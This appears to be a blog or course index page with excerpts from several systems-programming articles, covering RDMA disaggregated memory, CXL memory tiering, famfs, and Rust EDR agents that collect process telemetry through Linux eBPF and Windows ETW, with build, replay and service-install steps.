Every disaggregated-memory article in this series so far has approached the problem from the load/store side: CXL 3.0 decoders, HDM-DB back-invalidate coherence, move_pages()-driven NUMA tiering, DMA-batched data movement between memory tiers. All of that machinery assumes the disaggregated memory is reachable with ordinary CPU loads and stores, just across a slower interconnect than local DRAM.

RDMA-backed disaggregated memory is a different animal. A compute node doesn’t issue a load instruction against remote memory — it posts a work request to a Queue Pair, the RNIC performs a one-sided operation against a remote memory region, and the remote CPU is never interrupted. No remote lock, no remote memory barrier, no remote compiler ordering anything on your behalf. Every consistency guarantee you’d normally get for free from cache coherence has to be built into the wire protocol by hand. This article works through exactly that construction, using a real generation-counter cache-validation protocol, and it does not hide the two attempts that didn’t actually work.

The angle matters because it changes what “correctness” even means. On a CXL-attached device, the failure mode is usually a coherence protocol edge case — a decoder committed in the wrong order, a back-invalidate that races a demotion. Here, there is no coherence protocol at all to get an edge case in; there’s a raw byte array on a remote NIC, addressable by anyone holding the right key, with precisely as much synchronization as the client engineers into the access pattern. That’s a smaller, starker problem, and it turns out to be considerably easier to get subtly wrong than it looks on a whiteboard.

2. Historical Background

RDMA started as a way to move bulk data between HPC nodes without burning CPU cycles on memcpy. Verbs-based, kernel-bypass access — ibv_reg_mr, ibv_post_send, polling a completion queue — let InfiniBand and later RoCEv2 fabrics hit single-digit-microsecond latencies for one-sided reads and writes.

Disaggregated memory as an RDMA application is newer, growing out of systems research (FaRM, Infiniswap, and successors) built on a simple observation: if RDMA one-sided READ/WRITE latency is low enough, a fraction of a cluster’s DRAM can be pooled and served to memory-starved nodes over the fabric instead of over PCIe/CXL. Unlike CXL, which extends the coherence domain, RDMA-backed disaggregation deliberately stays outside it — the memory node’s CPU cache hierarchy is irrelevant because the memory node’s CPU is never touched by the access at all. That’s the whole appeal (near-zero remote CPU tax) and the whole problem (no coherence protocol to lean on).

The Linux kernel’s own RDMA stack (drivers/infiniband, ib_core, ib_uverbs) has been production-hardened for over a decade for exactly the transport primitives this deep dive builds on top of: memory registration, Queue Pair lifecycle, completion queue polling. What the kernel deliberately does not provide is any opinion about what a one-sided WRITE means to the application using it. That’s left entirely to userspace, which is precisely the gap FaRM-style systems fill with their own generation-counter and versioning schemes — the same gap this deep dive’s demo reproduces and gets wrong twice before getting right.

3. Systems-Level Problem

A compute node wants to keep a local cache of remote pages to avoid paying RDMA READ latency on every access. That cache needs a validity check: “is my cached copy still current?” The obvious mechanism is a per-page generation counter on the remote side, bumped on every write, checked by the reader before trusting the cache.

The problem is that “check gen, then copy data” is two separate one-sided operations, and one-sided RDMA gives no ordering guarantee between them unless you explicitly build one. Get the ordering wrong and you get exactly the class of bug this article’s demo reproduces: a reader that believes its cache is fresh when it demonstrably is not.

There’s a second, subtler layer to the problem that only shows up once the first is solved: even a perfectly-ordered check-then-copy pair only orders the check against the write it was paired with. A bulk payload copy — 64 bytes in this deep dive’s demo, potentially a full page in a production system — takes nonzero time, and nothing stops an entirely different, later write from landing on the same remote object while that copy is in flight. Solving the ordering problem and solving the torn-copy problem are not the same exercise, and conflating them is exactly the mistake this deep dive’s first fix attempt makes.

4. Linux Kernel Architecture

Read more

This issue adds the Windows peer to the Linux agent: windows-agent.exe consumes process telemetry through Event Tracing for Windows (ETW) and emits the same OCSF-shaped process_activity JSON. Fixture replay covers CI and non-Windows hosts. Live sessions and service install belong on a Windows Reader VM with administrator rights.

ETW providers, sessions, and consumers

ETW is a publish–subscribe telemetry bus inside Windows. Providers emit typed events. A session (trace logger) enables one or more providers and buffers records. A consumer opens that session in real time or from an .etl file and decodes payloads.

Three roles matter for an EDR agent:

RoleExample in this issueProviderMicrosoft-Windows-Kernel-Process (GUID {22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716})SessionReal-time logger started with StartTrace, often as a system loggerConsumerwindows-agent calling OpenTrace / ProcessTrace

ETW observation is enough for process start/stop and image-load telemetry in Phase A. A kernel minifilter becomes necessary when you must intercept or block file I/O on the write path — that cost and signing burden wait for later modules. Prefer ETW until prevention or file-blocking requirements force a driver.

Command lines do not come from Kernel-Process alone

Microsoft-Windows-Kernel-Process ProcessStart payloads give process id, parent id, create time, and image name. They do not reliably supply the full command line that detection rules expect (process.cmd_line / classic Sigma CommandLine).

Plan for one of:

1. NT Kernel Logger / system logger with EVENT_TRACE_FLAG_PROCESS (and EVENT_TRACE_SYSTEM_LOGGER_MODE on the session), and/or

2. A dual-provider design: Kernel-Process for kernel-sourced metadata + system logger for cmdline correlation by PID + create time.

Security Auditing event 4688 is a weaker usermode-oriented alternative; do not treat it as the primary EDR source.

Microsoft has been investing in a more isolated endpoint security platform with major vendors after the 2024 CrowdStrike outage, and has decoupled Defender for Endpoint sensor updates from the monthly OS cumulative train. This course still builds against today’s ETW surface — correct for learning — while that platform direction continues.

Service, hashing, and OCSF parity

Kernel ETW sessions typically require elevated rights and a process that outlives an interactive logon. Lab 3 installs windows-agent.exe as a Windows Service (SystemdrdWindowsAgent) so the session survives user logout. Console --mode live is enough for early capture labs; production-shaped installs use the service path.

SHA256 of the image path is expensive if recomputed on every start and every DLL load. A small cache keyed by path + size + mtime (or fixture content) keeps CPU within a demoable budget. Empty hashes while claiming file identity for Module 7 fixtures create false gaps — populate when the file is readable; skip and leave sha256 null when it is not.

device.os.type_id is 100 (Windows). process.uid keeps the Issue 02 scheme: {boot_id}:{pid}:{start_time_ns}. Terminate uses activity_id 2 → type_uid 100702. Image-load events use an OCSF-shaped envelope with unmapped.event_kind = image_load until Module 6 assigns a final class (TIER 2).

Deliverable

windows-agent.exe installable as a service, streaming OCSF-shaped events. Completion criteria:

1. cargo test passes on any host (fixture-replay path).

2. Replay stdout includes Launch (100701) with non-empty process.cmd_line and process.uid, plus at least one image-load and one Terminate (100702).

3. You can state why Kernel-Process alone is insufficient for command lines and which session flag/provider fills the gap.

4. On a Windows Reader VM, service install steps are documented even if the live ETW decode loop is still being verified (TIER 2).

Implementation notes

Workspace: agent-windows/ with --mode replay|live|service. Replay reads fixtures/exec-events.jsonl. Live and service features compile only on Windows.

Encoder helpers (verbatim from agent-windows/src/ocsf.rs):

pub fn type_uid_launch() -> i32 {
    1007 * 100 + 1 // process_activity Launch → 100701
}

pub fn type_uid_terminate() -> i32 {
    1007 * 100 + 2 // process_activity Terminate → 100702
}

pub fn process_uid(boot_id: &str, pid: u32, start_time_ns: u64) -> String {
    format!("{boot_id}:{pid}:{start_time_ns}")
}

Check current windows crate versions on crates.io at build time; this issue references windows 0.62.x (published 2025-10). Live StartTrace packing is Reader-VM verified (TIER 2) — see the implementation guide.

Limitation: Fixture cmdline is authoritative in replay. Live mode must correlate system-logger cmdline with Kernel-Process start records; mismatched clocks or dropped buffers produce starts without cmd_line — treat empty cmdline as a collection defect, not a detection miss.

Implementation guide Windows Agent (ETW):

Github Link:

https://github.com/sysdr/production-xdr-edr-p/tree/main/v03-windows-agent-etw

Keep this guide open while building. Design rationale is in docs/issue-notes/03-windows-agent-etw.md.

Prerequisites

ItemNotesPrior tagRepo through v02-linux-agent-ebpfRustStable cargo / rustcReplayAny host (macOS/Linux/Windows)Live ETWWindows 10/11 or Server lab VM, AdministratorCrateswindows 0.62.x (crates.io 2025-10 — re-check at build time); sha2, windows-service for Lab 3

Sandbox / CI / Reader VM

StepSandbox / CIReader machine (Windows)cargo testFull (fixture-replay)Full--mode replayFullFull--mode live + ETW sessionNot availableAdmin; dual-provider decode TIER 2--mode service / sc.exeNot availableLab 3Minifilter driverOut of scopeLater modules

Step 1 — Build and test on any host

cd agent-windows
cargo test
cargo run -- --mode replay --fixture fixtures/exec-events.jsonl

Expected: JSON lines with type_uid 100701 (Launch), 100702 (Terminate), image-load unmapped.event_kind, non-empty process.cmd_line on starts, hash_cache stderr stats.

Step 2 — Confirm OCSF parity with Linux

Compare a Launch object from Issue 02 replay to Issue 03 replay:

• Same: class_uid 1007, type_uid 100701, process.uid scheme, actor.process, severity_id 1

• Differs: device.os.type / type_id (200 vs 100), metadata.product.name

Step 3 — Hash cache lab

Run replay twice in one process (already single pass with repeated image paths in fixtures). Confirm hash_cache hits≥1 on stderr when the same DLL path hashes twice.

Files:

• agent-windows/src/main.rs

• agent-windows/src/ocsf.rs

• agent-windows/src/hash_cache.rs

• agent-windows/src/replay.rs

• agent-windows/src/types.rs

• agent-windows/src/etw.rs (Windows + live-etw)

• agent-windows/src/service.rs (Windows + service)

• agent-windows/fixtures/exec-events.jsonl

Step 4 — (Reader VM) Live ETW — TIER 2

cargo run --features live-etw -- --mode live

Wire StartTrace with system logger mode + EVENT_TRACE_FLAG_PROCESS for cmdline, and EnableTraceEx2 for Microsoft-Windows-Kernel-Process {22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}. Decode with TDH; correlate cmdline to starts by PID + create time. The shipped etw.rs returns a structured error until that loop is verified on your VM — replace the body, keep the dual-provider comments.

Step 5 — (Reader VM) Service install (Lab 3)

cargo build --release --features service
# From an elevated prompt (adjust path):
sc.exe create SystemdrdWindowsAgent binPath= "C:\path\to\windows-agent.exe --mode service"
sc.exe start SystemdrdWindowsAgent

Stop/delete when finished:

sc.exe stop SystemdrdWindowsAgent
sc.exe delete SystemdrdWindowsAgent

Website demo link:

Verify the deliverable

Curriculum: windows-agent.exe installable as a service, streaming OCSF-shaped events.

• Replay streams OCSF Launch/Terminate + image-load envelopes

• Unit tests pass without Windows

• Cmdline source design documented (system logger / dual-provider)

• Service install steps documented; live decode marked TIER 2 until VM-green

• SHA256 cache implemented

Common errors

live mode requires Windows + --features live-etw — expected on macOS/CI; use replay.

Events without cmd_line in a live session — session likely missing system logger / EVENT_TRACE_FLAG_PROCESS; do not blame Sigma conversion yet.

Access denied on StartTrace — need Administrator; prefer service for long-lived sessions.

Tag

git add -A
git commit -m "Issue 03: windows-agent ETW process events + fixture replay"
git tag v03-windows-agent-etw

Labs

1. Replay fixtures; confirm parent PID, command line, image path, and SHA256 on Launch events.

2. Confirm image-load lines appear for DLLs under the same process.uid as the owning process.

3. On Windows, build with --features service, document sc.exe create / start for SystemdrdWindowsAgent, and note admin requirements for kernel sessions.

Next issue

Issue 04 brings macOS via Endpoint Security Framework. Phase A completes when all three OS agents emit this unified OCSF Launch shape — entitlement and real Apple hardware (or a cloud Mac) become the next environment gate.

Every general-purpose kernel eventually has to answer an uncomfortable question: what happens when memory stops being uniform? For two decades, “NUMA” meant a handful of DRAM pools hanging off different sockets, a few hundred nanoseconds apart, and a scheduler that mostly tried not to make things worse. CXL changes the shape of the problem. A CXL Type-3 memory expander shows up to Linux as a NUMA node with memory and no CPUs attached to it — real, addressable, move_pages()-reachable DRAM (or slower media) sitting one interconnect hop further away than the memory on your local socket. The kernel’s NUMA machinery, built for “near vs. far,” now has to do “near vs. far vs. more-but-slower,” and it has to make that decision continuously, cheaply, and without you noticing.

This lesson builds a hotness-driven page tiering engine in C, using the same kernel-facing APIs a memory-tiering allocator would use — mbind(2), move_pages(2), and the libnuma policy layer — to migrate pages between a fast tier and a CXL-attached capacity tier based on observed access patterns. Along the way we hit two real defects during development: a data race caught by ThreadSanitizer, and a second, more interesting bug that ThreadSanitizer, AddressSanitizer, and Valgrind all missed entirely — a logic error in the demotion predicate that silently inverted the tiering policy. Both are preserved here exactly as found, with the actual sanitizer output and the actual mismatch counts, because that’s more useful to you than a sanitized retelling.

This entry continues the series’ work on heterogeneous memory: it shares DNA with the [Data Movement in Disaggregated Memory] article’s batching discipline and the [HMM Core Internals / GPU Page Migration] article’s page-migration mechanics, but the subject here is different — this is about the kernel’s policy for deciding which pages belong on which tier, not about the mechanics of copying bytes across an interconnect.

Read more

Every subsystem this series has covered so far — thermal_pressure load balancing, io_uring’s ring semantics, disaggregated-memory DMA, HMM page migration — has been about making a scarce or awkward resource behave predictably under concurrency. Famfs is about a different kind of scarcity: address space and metadata overhead when the “storage” is actually byte-addressable memory, sometimes terabytes of it, sitting on a CXL fabric or a set of DAX-capable NVDIMMs, shared by more than one host.

The problem famfs solves is deceptively narrow: let an application open(), mmap(), and read() a multi-terabyte memory region the same way it would any other file, without forcing that memory through the page cache, without paying per-inode metadata costs designed for spinning disks, and — critically — without pretending a second host attached to the same physical memory doesn’t exist. This lesson builds a userspace model of famfs’s two load-bearing pieces — the extent allocator and the metadata log — validates it under the full sanitizer gauntlet, and walks through two real bugs the demo surfaced: one a textbook TSan-catchable race, the other a bug that is real by the C memory model but structurally invisible to any single-process sanitizer, and that this specific x86-64 run could not reproduce even after 150,000 log commits — for reasons this lesson explains rather than hand-waves past.

2. Historical Background

Memory-mapped files are as old as mmap(2) itself, and shared memory (shmget, /dev/shm, memfd_create) has long let processes share DRAM through a file-like handle. What changed is the arrival of Compute Express Link (CXL) 2.0/3.0 memory pooling and switching: a host can now attach to memory that lives on a shared fabric, is addressable at cacheline granularity, but does not belong to any single host’s local NUMA topology, and can be attached — read-only or read-write — by multiple independent hosts at once.

/dev/dax character devices already exposed persistent-memory-class hardware for direct, page-cache-bypassing access, and DAX (Direct Access) filesystem mode on ext4/XFS already let mmap’d file ranges resolve straight to PMEM pages. Famfs (originated as an open-source project, with active upstream kernel driver work) took the next step: instead of requiring a conventional filesystem’s inode tree, journal, and block allocator machinery — designed around the assumption that storage is slow and scarce relative to DRAM — famfs treats the entire dax-backed region as one flat extent space with a minimal superblock and an append-only metadata log, and lets any attached host reconstruct the file namespace by replaying that log. No host-to-host RPC, no distributed lock manager for the common case: metadata propagates the same way the data does, through the shared memory itself.

This lesson doesn’t have CXL-capable hardware to attach to, so the demo below models the same design in ordinary anonymous shared memory (MAP_SHARED | MAP_ANONYMOUS) split across processes with fork(). Every structural property that matters — a shared bitmap allocator, a single-writer/multi-reader log, cross-process visibility rules — is preserved; only the physical medium changes.

It’s worth being precise about what “physical medium changes” actually means for the argument this lesson makes. A real CXL-attached host and a fork()‘d child process both share exactly one property that matters here: neither is inside the same sanitizer-instrumented address space as the other party it’s racing with. A fork()‘d child gets its own copy of the parent’s TSan/ASan runtime state, and a second CXL host obviously runs its own separate kernel and its own separate instance of any userspace race detector. That shared property — not the hardware underneath it — is what makes the log-commit bug in Section 8 structurally invisible to a single-process tool, and it’s why modeling the bug with fork() over anonymous shared memory is not a simplification of the real problem; it’s the same problem, minus the fabric.

Comparison with adjacent approaches

It helps to place famfs against the three things practitioners reach for first when they hear “share a huge memory region as files”:

• tmpfs is RAM-backed and file-like, but it is still routed through the ordinary page cache and VFS inode machinery, and it has no concept of a second host attaching to the same backing pages — it’s a single-host construct by design.

• A raw /dev/dax character device gives you page-cache-bypassing mmap of persistent or CXL memory, but no namespace at all: one device node, one giant range, no way to say “byte range A is dataset.bin and byte range B is checkpoint.bin“ without building that bookkeeping yourself on top.

• A distributed filesystem or object store solves the multi-host namespace problem but reintroduces a network hop and serialization cost for metadata operations that famfs is specifically trying to avoid by publishing metadata through the same shared memory the data lives in.

Famfs sits in the gap those three leave open: dax-class performance, a real file namespace, and multi-host metadata propagation without an RPC round trip.

3. Systems-Level Problem

Three things get uncomfortable at multi-terabyte scale using conventional filesystem primitives:

Metadata overhead. A traditional filesystem allocates and journals inode and extent-tree metadata per file, sized for the assumption that storage capacity vastly exceeds memory capacity and files number in the millions. When the “disk” is DRAM- or CXL-class memory and a single “file” is itself hundreds of gigabytes, that per-file bookkeeping becomes disproportionate.

Page cache double-buffering. Reading a conventional file copies data from the backing store into the page cache, then again into the application’s buffer (or maps page-cache pages via mmap). For memory that is already the fastest tier in the system, interposing a full page-cache layer between the application and the underlying memory buys nothing and costs cache pressure and TLB shootdown overhead at multi-terabyte scale.

Shared-fabric coherency of metadata, not just data. CXL pooled memory can be attached by several hosts. Data coherency across hosts is a hardware/fabric concern; but metadata — which byte ranges are allocated, which file owns them, when a new file becomes visible — is a software problem, and it is exactly the same class of problem as thermal_pressure‘s single-writer/multi-reader per-CPU variable, just stretched across host boundaries instead of CPU boundaries.

Famfs’s answer: files are backed by extents drawn from a bitmap allocator over the shared region, and file existence is communicated via an append-only log that any attached host can replay — read-only hosts never need write access to the allocator or the log.

4. Linux Kernel Architecture

Read more

This issue ships the first executable agent: a Linux binary that observes process launches with eBPF and emits OCSF-shaped process_activity JSON. Fixture replay covers CI and non-Linux hosts. Live kernel attach belongs on a Linux Reader VM.

Tracepoints, kprobes, and why sched_process_exec

eBPF programs run in the kernel under a verifier. They attach to hooks and move small records to userspace through maps. For process creation telemetry, two attachment styles appear in tutorials:

HookStabilityWhat you getsched_process_exec (tracepoint)Stable ABI across kernels that expose the eventFired after a successful exec; filename and task identity are available without reconstructing execve argv from user pagesexecve / execveat (kprobe)Fragile across kernel buildsEarly argv access at the cost of page-fault handling and symbol churn

This course prefers sched_process_exec for production-shaped exec telemetry. Use an execve kprobe only as a teaching contrast: argv capture looks attractive until page faults and symbol drift show up in the field.

Ring buffers (BPF_MAP_TYPE_RINGBUF) replace older perf-event arrays for high-frequency events: one shared queue, reserve/submit in the program, poll in userspace. Aya (Rust) loads the bytecode, attaches the tracepoint, and reads the map. Check current Aya crate versions on crates.io at build time; this issue was verified against aya 0.14.x / aya-ebpf 0.2.x (July 2026).

Durable identity and the process tree

Operating systems reuse PIDs. Lineage keyed only on pid collapses under wraparound and long-lived hosts. Issue 01 reserved process.uid; this agent populates it as {boot_id}:{pid}:{start_time_ns} (string). Parent events carry parent_process.uid with the same scheme. Tree reconstruction in userspace indexes by process.uid, not pid alone.

Classification fields stay top-level on each event: class_uid 1007, activity_id 1 (Launch), type_uid 100701, severity_id 1. actor.process is the launching parent. Empty process.uid while claiming OCSF alignment breaks Module 7 fixtures and Module 9 joins later.

Noise filtering and the LSM stub

An unfiltered exec stream includes the agent binary, shells spawning helpers, and package managers. Lab 3 adds a denylist of basenames and self-pid suppression. This is the first contact with alert fatigue: volume without selection is not detection.

Prevention products that deny exec use eBPF LSM hooks (bpf_lsm), not observation-only tracepoints. This issue wires a log-only LSM stub behind a compile-time feature. Enforce mode needs CONFIG_BPF_LSM and bpf on the active LSM list (often a GRUB change and reboot on Ubuntu). Do not treat “flip a toggle” as a one-liner; Module 10 depth labs revisit enforce.

Where this sits in the system

The Linux agent is layer 1 of the data plane. Events leave as JSON lines shaped for later protobuf/gRPC ingest. Ingestion, storage, and detection are still stubs.

Deliverable

linux-agent streams OCSF-shaped process-creation events (stdout JSON). Completion criteria:

1. cargo test -p linux-agent passes on any host (fixture-replay path).

2. On a Linux Reader VM with privileges, --mode live attaches to sched_process_exec and prints Launch events with non-empty process.uid and type_uid 100701.

3. You can explain why the agent uses sched_process_exec instead of an execve kprobe for the default path.

Implementation notes

Github Link:

https://github.com/sysdr/production-xdr-edr/tree/main/v02-linux-agent-ebpf/agent-linux/linux-agent-common/src

Workspace layout under agent-linux/:

• linux-agent-common — shared ExecEvent wire struct (#[repr(C)]) for eBPF and userspace

• linux-agent-ebpf — tracepoint program + optional LSM stub (Linux bpf target)

• linux-agent — loader, OCSF encoder, filter, tree, --mode replay|live

Replay mode reads fixtures/exec-events.jsonl and runs the same encoder/filter/tree path as live mode. Sandbox and macOS hosts use replay; live attach is the Reader VM column.

Encoder helpers (verbatim from agent-linux/linux-agent/src/ocsf.rs):

pub fn type_uid_launch() -> i32 {
    1007 * 100 + 1 // process_activity Launch → 100701
}

pub fn process_uid(boot_id: &str, pid: u32, start_time_ns: u64) -> String {
    format!("{boot_id}:{pid}:{start_time_ns}")
}

Full files and build commands: docs/implementation-guides/02-linux-agent-ebpf.md.

Limitation: sched_process_exec does not deliver a complete argv vector the way a carefully written execve kprobe might. Command lines in this issue come from /proc/<pid>/cmdline in userspace when the process still exists, with a short race window for short-lived binaries. Module 6 revisits richer capture if needed.

Working demo Link:

Labs

1. Run linux-agent --mode replay and confirm stdout JSON includes type_uid 100701 and non-empty process.uid.

2. Use --print-tree on the fixture stream and verify parent–child edges key on process.uid.

3. Add a basename to the noise denylist; confirm matching fixture lines are dropped while others remain.

4. On a Linux VM, build with --features lsm-stub, confirm the stub loads (or fails with a clear LSM-list message), and leave enforce off.

Next issue

Issue 03 builds the Windows peer with ETW. Command lines do not come from Microsoft-Windows-Kernel-Process alone — plan for the NT Kernel Logger / system logger path before mirroring this OCSF shape on Windows.

Every server built on CXL, HBM-attached compute, or a NUMA topology with more than two distance classes now runs on memory that is not one thing. It is several pools, at several latencies, at several price points, and the kernel’s job is to make a workload behave as if it were running on the fast pool alone. That illusion is maintained by a caching strategy: which bytes live in the expensive, low-latency tier right now, and how the system decides when that answer should change.

This is not page cache in the “cache disk contents in RAM” sense that most engineers learn first. It’s memory-tiering: DRAM near a socket, CXL-attached DRAM one hop away, and increasingly HBM stacked on the compute die itself, all managed as a single address space with an internal promotion/demotion economy. The mechanism is deceptively close to the pieces we’ve already taken apart in this series — the thermal_pressure single-writer/multi-reader discipline from the power-management article, the TOCTOU hazards from HMM page migration, and the batching model from disaggregated-memory data movement all reappear here, because tiering sits at the intersection of all three problems: it’s a scheduler-adjacent decision, it’s a page-migration mechanism, and it’s a data-movement pipeline.

We’ll build a working, from-scratch model of a promotion/demotion controller — the same shape as the kernel’s node-demotion logic — and validate it the way this series always does: strict warnings, ThreadSanitizer, AddressSanitizer/UBSan, and Valgrind, with every bug the tools actually found left in the record.

2. Historical Background

Linux’s memory model assumed rough uniformity for a long time. NUMA support (2.6-era) was the first crack: numactl, mbind(2), and the zonelist fallback order acknowledged that “far” memory existed, but the kernel’s default policy was still “avoid it,” not “manage it as a tier.” Hot-page migration existed almost by accident, via automatic NUMA balancing (task_numa_fault), which moves pages toward the CPU accessing them — a scheduler-driven heuristic, not a capacity-driven one.

The real shift came from two directions converging. First, persistent memory (NVDIMM, Optane) forced the kernel to treat a byte-addressable tier with meaningfully different latency as first-class, via dax/kmem hot-add of PMEM capacity as a NUMA node. Second, and more recently, CXL 2.0/3.0 memory expanders made “add a slower memory node at runtime over a fabric link” a mainstream deployment pattern rather than a persistent-memory niche. The kernel’s answer, landing across 5.x and 6.x, is explicit tiered-memory support: node_demotion[] rankings, struct memory_tier, and reclaim paths that demote cold pages to a slower tier instead of only ever writing them to swap. HBM-as-cache and HBM-as-a-node are the mirror image at the fast end of the same problem.

It’s worth being precise about why “just use NUMA balancing” was never a sufficient answer on its own. Automatic NUMA balancing exists to solve a locality problem: a task and the memory it touches most should end up on the same node, and the mechanism is fundamentally task-centric — it samples hint faults generated when a thread touches memory it doesn’t currently have local, and either migrates the memory toward the thread or the thread toward the memory. Tiering is a capacity-and-cost-centric problem instead: even a task pinned to a single node might have a working set larger than that node’s fast-tier capacity, in which case no amount of locality migration helps — some pages simply have to live in the slower tier, and the question becomes which ones. The two mechanisms coexist in the kernel today and, as Section 4 covers, actively interact with (and occasionally fight) each other.

The ACPI HMAT (Heterogeneous Memory Attribute Table), standardized specifically to let firmware describe relative latency and bandwidth between initiator/target node pairs, is what finally gave the kernel a principled way to build node_demotion[] at boot instead of relying on hand-tuned NUMA distance heuristics that predate the idea of intentionally slower memory tiers existing at all. Before HMAT, “distance” in numactl --hardware output described interconnect topology for locality purposes; it was never designed to express “this node is 3x slower and that’s expected, rank it as a demotion target,” and retrofitting that meaning onto SLIT (System Locality Information Table) distances was a stopgap at best.

3. Systems-Level Problem

The problem has three parts, and all three are load-bearing:

Classification. You cannot promote or demote what you cannot rank. The kernel needs a cheap, continuous signal for “how hot is this page” without turning every memory access into an instrumented event. PTE accessed bits, sampled periodically, are the classic mechanism; DAMON generalizes this into region-based sampling with configurable granularity — instead of tracking every page individually (expensive at scale), it groups adjacent addresses into regions and tracks access frequency per region, splitting and merging regions adaptively as access patterns shift. The tradeoff is resolution versus overhead: coarse regions under-promote genuinely hot sub-ranges, fine regions burn CPU cycles and memory on bookkeeping that dwarfs the pages being tracked.

Capacity pressure. The fast tier is small by definition — that’s why it’s fast. Promotion is not just “move it,” it’s “move it, and evict something else, under contention from every other thread that’s also trying to promote something.” This is where naive designs quietly become O(n) or worse: if promotion decisions require scanning the entire fast-tier resident set to find an eviction candidate, and every worker thread’s hot access can trigger that scan, the “fast” tier’s management overhead can end up dominating the latency win it was supposed to provide. Real implementations amortize this with approximate LRU/LFU structures (multi-queue, clock-based) rather than exact global ranking, precisely to keep the eviction-candidate search cheap.

Consistency during migration. This is the part every kernel engineer underestimates the first time. A page being migrated has two physical locations for a brief window, and every other CPU in the system might have a stale TLB entry, a cached PTE, or literally be inside a load instruction targeting the old physical address at the exact moment the migration commits. Get this wrong and you don’t get a crash — you get intermittent, silent data corruption, because a reader reads new bytes at an old address, or old bytes at a location that’s already been repurposed for something else. Worse, this class of bug is load-dependent and interleaving-dependent: it can pass a full CI run and still corrupt data in production under a traffic pattern that happens to widen the race window, which is exactly why Section 11’s bug history matters more than any single clean test run.

Our demo isolates exactly this third part, because it’s the part sanitizers and casual testing are worst at catching.

4. Linux Kernel Architecture

The subsystem stack, top to bottom:

• Access tracking — mm/damon/ (DAMON) or the older NUMA-balancing hint-fault path (mm/mprotect.c‘s NUMA_HUGE_PAGE/hint-fault plumbing, task_numa_fault() in kernel/sched/fair.c). Both exist to answer “which regions are hot” without a per-access trap.

• Promotion/demotion engine — mm/migrate.c‘s migrate_pages() is the mechanical core: it isolates a page from the LRU, allocates a destination, copies content, retargets page tables via an rmap walk, and does a TLB shootdown. Tier ranking comes from node_demotion[], populated at boot from ACPI HMAT (Heterogeneous Memory Attribute Table) distance data.

• Scheduler interaction — this is the genuinely hard cross-cutting concern. NUMA balancing wants to move the task to the memory; tiering wants to move the memory to wherever it’s hot. These can fight: a demoted page can get re-promoted seconds later because the scheduler didn’t also migrate the thread that keeps touching it.

• Memory manager — struct page, zonelist, and the rmap machinery that lets migration find every PTE pointing at a physical page so it can be retargeted atomically with respect to the TLB.

• Device layer — cxl_core/cxl_mem register CXL expander capacity as dax devices, which kmem then hot-adds as ordinary (but ranked) NUMA nodes.

5. Internal Working

The core abstraction is a hotness-ranked cache with lazy, asynchronous eviction — structurally identical to a CPU cache’s LRU/LFU replacement policy, but at page granularity and running as software rather than hardware state machines. Two properties make this harder than a CPU cache:

1. The “hardware” here is other threads. A CPU’s cache controller has exclusive ownership of tag arrays. Our promotion engine competes with the very readers whose access patterns it’s trying to track, and it must publish tier changes in a way that’s safe against a reader who is mid-access at the instant of publication.

2. Eviction is not free — it’s a copy. Demoting a page means copying its contents to the slow tier before it can be reused for something else. Until that copy completes and is visible, the fast-tier physical location must remain valid for anyone still reading the old resident.

That second property is the one our demo is built to expose, because it’s exactly where a naive migration path breaks.

6. Step-by-Step Execution Flow

Github Link:

https://github.com/sysdr/howtech-p/tree/main/Developing_caching_strategies/tiering-lab

1. A worker touches a logical block; its access counter is incremented.

2. If the block is cold, done — no state changes.

3. If the block crosses the hot threshold and isn’t already resident in the fast tier, promotion begins.

4. If the fast tier is full, the coldest current resident is selected for eviction back to the slow tier.

5. The controller must wait for any reader still pinning the physical slot being reused, then copy bytes into the destination.

6. The {tier, pointer} pair is published atomically — never as two independent writes a reader could observe half of.

7. A reader who started before publication and is still using the old (now-stale) buffer must be prevented from having that buffer’s bytes stomped out from under it — this is the retry/pin loop on the error path in the diagram.

8. Control returns to the caller with a byte-for-byte consistent view, no matter how the migration interleaved with the read.

7. Kernel Data Structures

The demo’s structures are a direct, minimal analogue of the real subsystem:

typedef struct {
    _Atomic(uint8_t *) data;   // analogue of struct page's mapping (which pool)
    _Atomic int         tier;  // analogue of node id / N_MEMORY membership
    _Atomic long         access_count;  // analogue of DAMON region access rate
    _Atomic int          fast_slot;     // physical residency, if promoted
    _Atomic unsigned     seq;           // seqlock-style publish counter
} block_t;

In the real kernel, the corresponding structures are struct page (physical residency and refcount), struct memory_tier and node_demotion[] (tier ranking), and struct damon_region (the access-frequency estimate that drives promotion decisions). The pattern our seq field encodes — publish a compound piece of state as a single atomic transition, not as independent field writes — is exactly what seqcount_t gives the kernel for structures like struct mm_struct‘s write_protect_seq, and what page-table generation counters give mmu_notifier consumers.

8. CPU-Level Behaviour

Two things matter at the instruction level. First, b->data and b->tier must be genuinely atomic types, not plain fields “protected” by fences around them — a fence orders atomic operations relative to each other, it does not make a concurrently-written plain load/store defined behavior. This is a distinction the C11 memory model is precise about and that our first fix attempt got wrong (see Section 11). Second, the seqlock read pattern (load seq → load fields → fence → reload seq → compare) exists specifically to avoid a full memory barrier or lock acquisition on every read, at the cost of an occasional retry — the same tradeoff seqcount_t makes for jiffies and the VDSO’s getnstimeofday path, both of which are read far more often than written.

On real hardware, the migration path also has to reckon with TLB shootdown cost: retargeting every CPU’s page table entry for a migrated page requires an IPI to every core that might have cached the old translation, which is why migration is batched and why the kernel is conservative about promoting pages that will just get demoted again next scan.

9. Performance Analysis

The controller’s cost model has three terms: the tracking overhead (cheap, amortized), the migration copy (a memcpy at BLOCK_SIZE granularity — in the kernel, 4 KiB or 2 MiB for THP), and the retry cost imposed on readers racing a migration in flight. Under our full workload (8 workers, 50,000 ops each, promotion interval of 20 ops — deliberately aggressive to expose races), the fixed build produces:

Total recorded accesses: 400000 (expected 400000)
Corruption events detected by readers: 0
Seqlock read retries: 162716

Retries are not free, but they are cheap relative to what they replace: a full mutex acquisition on every single memory touch. 162,716 retries against 400,000 reads (roughly 40%) sounds high, but each retry costs a few atomic loads and a fence, not a syscall or a blocking wait — this is the same bet seqcount_t makes throughout the kernel, and it holds because writers (migrations) are relatively rare compared to reads.

It’s worth comparing this against the naive alternative most engineers reach for first: taking g_migration_lock on every read, not just every migration. Measuring both variants directly (same machine, same workload):

Variant 8 workers, 400K ops 32 workers, 1.6M ops Seqlock + pin (this design) 0.048s avg 0.186s avg Full mutex on every read 0.050s avg 0.201s avg

